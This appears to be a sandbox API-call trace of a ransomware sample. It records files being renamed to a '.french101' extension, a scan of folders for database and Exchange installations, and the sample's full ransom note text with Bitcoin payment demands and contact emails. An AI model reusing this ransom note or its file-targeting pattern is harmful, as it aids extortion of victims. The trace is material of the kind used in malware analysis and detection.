lpNewFileName="C:\\588bce7c90097ed212\\1049\\zeLrW2YqT+QyTBRkGt+0=gQGuZegjlk=aJfWvZsD5S7eAQ.french101" (normalized: "c:\\588bce7c90097ed212\\1049\\zelrw2yqt+qytbrkgt+0=gqguzegjlk=ajfwvzsd5s7eaq.french101")) returned 1 [0282.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\zeLrW2YqT+QyTBRkGt+0=gQGuZegjlk=aJfWvZsD5S7eAQ.french101" (normalized: "c:\\588bce7c90097ed212\\1049\\zelrw2yqt+qytbrkgt+0=gqguzegjlk=ajfwvzsd5s7eaq.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.011] SetFileTime (hFile=0x308, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0282.011] CloseHandle (hObject=0x308) returned 1 [0282.012] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\zeLrW2YqT+QyTBRkGt+0=gQGuZegjlk=aJfWvZsD5S7eAQ.french101", dwFileAttributes=0x80) returned 1 [0282.012] CloseHandle (hObject=0x308) returned 0 [0282.012] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.012] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.012] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.012] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.012] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.012] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.012] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.012] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.012] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.012] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0282.013] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da1d0 [0282.013] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0282.013] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0282.013] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0282.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1049\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0282.013] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.013] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0282.013] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.013] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.013] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0282.013] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0282.013] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0282.013] CloseHandle (hObject=0x308) returned 1 [0282.014] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.014] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.014] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.014] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.014] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.014] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.014] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.014] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.014] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.014] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.014] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.014] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.014] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.014] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0282.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0282.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0282.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0282.015] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0282.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0282.015] FindNextFileW (in: hFindFile=0x6da350, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0282.015] GetLastError () returned 0x12 [0282.015] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0282.015] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.018] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.018] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.018] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.018] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.018] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.018] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.018] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.018] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.018] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0282.018] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0282.018] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.018] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.018] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.018] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.018] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.018] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.018] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.019] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.019] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.019] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.019] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.019] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.019] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.019] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.019] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.019] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.019] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.019] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.019] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.019] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.019] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.019] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.019] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.019] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.020] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.020] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.020] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.020] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.020] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.020] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.020] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.020] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.020] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.020] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.020] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.020] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.020] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.020] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.020] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.020] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.020] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.020] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.020] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.021] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.021] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.021] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.021] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.021] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.021] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.021] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.021] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.021] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.021] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.021] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.021] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.021] GlobalLock (hMem=0x3f4000c) returned 0x3ae3e08 [0282.021] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0282.021] GlobalHandle (pMem=0x3ae3e08) returned 0x3f4000c [0282.021] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.021] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0282.021] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.021] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.022] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0282.022] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0282.022] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0282.022] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.022] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.022] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.022] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0282.022] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0282.022] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0282.022] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.022] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0282.022] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.022] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.022] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0282.022] GetLastError () returned 0x12 [0282.022] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0282.022] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0282.022] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0282.022] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0282.023] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.023] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.023] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.023] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.023] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.023] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.023] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.023] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.023] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.023] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.023] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.023] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.023] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.023] GlobalLock (hMem=0x3f40004) returned 0x3ae2e00 [0282.023] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0282.023] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40004 [0282.023] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.023] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0282.024] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.024] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0282.024] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\1053", len=0x1a | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\1053") returned 1 [0282.024] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.024] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.024] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.024] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0282.024] GlobalLock (hMem=0x3f40004) returned 0x3ae4e10 [0282.024] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0282.024] GlobalUnlock (hMem=0x3f4000c) returned 0 [0282.024] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40004 [0282.024] GlobalUnlock (hMem=0x3f40004) returned 0 [0282.024] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.025] GetLastError () returned 0x3 [0282.025] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.025] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cde0, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0282.025] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.025] GetLastError () returned 0x2 [0282.026] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cde0, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0282.026] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.026] GetLastError () returned 0x2 [0282.026] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f30, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0282.026] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.026] GetLastError () returned 0x2 [0282.026] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.026] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f30, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0282.026] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.027] GetLastError () returned 0x2 [0282.027] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0190, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0282.027] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.027] GetLastError () returned 0x2 [0282.027] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39f30, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0282.027] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0282.027] GetLastError () returned 0x2 [0282.027] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1053\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1053\\") returned 0x1b [0282.027] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 